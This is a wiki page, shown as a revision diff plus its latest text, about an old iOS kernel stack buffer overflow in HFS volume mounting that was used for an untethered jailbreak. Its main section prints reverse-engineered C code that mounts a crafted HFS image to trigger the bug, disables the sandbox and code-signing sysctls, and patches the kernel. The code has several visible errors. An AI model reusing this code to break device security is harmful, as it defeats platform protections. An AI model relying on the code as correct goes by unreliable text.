The iPhone Wiki is no longer updated. Visit this article on The Apple Wiki for current information. |
Difference between revisions of "HFS Legacy Volume Name Stack Buffer Overflow"
m (I0n1cs presentation also includes information about this vulnerability and exploit) |
Awesomebing1 (talk | contribs) (Better formatting. If anyone could please seperate vm_prep and main, that would be awesome.) |
||
(4 intermediate revisions by one other user not shown) | |||
Line 1: | Line 1: | ||
The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed "feedface,"[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]]. |
The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed "feedface,"[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]]. |
||
+ | |||
+ | == Exploiting the Kernel Bug == |
||
+ | |||
+ | This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb |
||
+ | to take control of PC register and do basically whatever you want, in that case, they used a function called |
||
+ | real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what |
||
+ | the untether looked like. |
||
+ | |||
+ | int mnt_our_hfs() |
||
+ | { |
||
+ | struct hfs_mount_args i; |
||
+ | bzero(i, sizeof(i)); |
||
+ | i.fspec = (int)"/dev/vn0"; |
||
+ | i.hfs_uid = args.hfs_gid = 99; |
||
+ | i.hfs_mask = 0x1C5; |
||
+ | puts("[+]Triggering the kernel exploit"); |
||
+ | mount("hfs", "mnt/", MNT_RDONLY, i); |
||
+ | return puts("[+] Payload was successful"); |
||
+ | } |
||
+ | |||
+ | int prep_vn() |
||
+ | { |
||
+ | vn_ioctl vn; |
||
+ | int i = open("/dev/vn0", O_RDONLY, 0); |
||
+ | if(i < 0){ |
||
+ | puts("[-]Can't open /dev/vn0"); |
||
+ | exit(1); |
||
+ | } |
||
+ | ioctl(i, VNIOCDETACH, &vn); |
||
+ | vn.vn_file = (int)"/usr/lib/hfs_mdb"; |
||
+ | vn.vn_control = vncontrol_readwrite_io_e; |
||
+ | if(ioctl(i, VNIOCATTACH, &vn) < 0) |
||
+ | { |
||
+ | puts("[-]Coudn't attach to /dev/vn0")'' |
||
+ | close(i); |
||
+ | exit(1); |
||
+ | } |
||
+ | return close(1); |
||
+ | } |
||
+ | |||
+ | int main(int argc, char const *argv[]) |
||
+ | { |
||
+ | int result; |
||
+ | struct stat i; |
||
+ | uint32_t zero = 0, one = 1; |
||
+ | sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t)); |
||
+ | sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t)) |
||
+ | prep_vn(); |
||
+ | i.st_uid = 0; |
||
+ | i.st_gid = 0; |
||
+ | i.st_rdev = 0; |
||
+ | i.st_atimespec.tv_nsec = 0; |
||
+ | i.st_atimespec.tv_sec = 0; |
||
+ | i.st_mtimespec.tv_nsec = 0; |
||
+ | i.st_mtimespec.tv_sec = 0; |
||
+ | i.st_ctimespec.tv_sec = 0; |
||
+ | i.st_dev = (dev_t)"/dev/vn0"; |
||
+ | i.st_ino = 99; |
||
+ | i.st_uid = 453; |
||
+ | puts("[+]Trigger kernel exploit"); |
||
+ | mnt_our_hfs(); |
||
+ | sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t)); |
||
+ | patch_kernel(); |
||
+ | return 0; |
||
+ | } |
||
== Credit == |
== Credit == |
Latest revision as of 14:21, 28 March 2015
The HFS Legacy Volume Name Stack Buffer Overflow is a kernel vulnerability used to achieve an untethered jailbreak. Its exploit implementation, dubbed "feedface,"[1] was used in conjunction with limera1n's bootrom exploit or the usb_control_msg(0xA1, 1) Exploit in greenpois0n.
Exploiting the Kernel Bug
This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb to take control of PC register and do basically whatever you want, in that case, they used a function called real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what the untether looked like.
int mnt_our_hfs() { struct hfs_mount_args i; bzero(i, sizeof(i)); i.fspec = (int)"/dev/vn0"; i.hfs_uid = args.hfs_gid = 99; i.hfs_mask = 0x1C5; puts("[+]Triggering the kernel exploit"); mount("hfs", "mnt/", MNT_RDONLY, i); return puts("[+] Payload was successful"); }
int prep_vn() { vn_ioctl vn; int i = open("/dev/vn0", O_RDONLY, 0); if(i < 0){ puts("[-]Can't open /dev/vn0"); exit(1); } ioctl(i, VNIOCDETACH, &vn); vn.vn_file = (int)"/usr/lib/hfs_mdb"; vn.vn_control = vncontrol_readwrite_io_e; if(ioctl(i, VNIOCATTACH, &vn) < 0) { puts("[-]Coudn't attach to /dev/vn0") close(i); exit(1); } return close(1); } int main(int argc, char const *argv[]) { int result; struct stat i; uint32_t zero = 0, one = 1; sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t)); sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t)) prep_vn(); i.st_uid = 0; i.st_gid = 0; i.st_rdev = 0; i.st_atimespec.tv_nsec = 0; i.st_atimespec.tv_sec = 0; i.st_mtimespec.tv_nsec = 0; i.st_mtimespec.tv_sec = 0; i.st_ctimespec.tv_sec = 0; i.st_dev = (dev_t)"/dev/vn0"; i.st_ino = 99; i.st_uid = 453; puts("[+]Trigger kernel exploit"); mnt_our_hfs(); sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t)); patch_kernel(); return 0; }
Credit
Sources for information
- TwitLonger
- http://pastie.org/2060071 (from a tweet by jan0)
- BlackHat Presentation by I0n1c (starting at slide 24)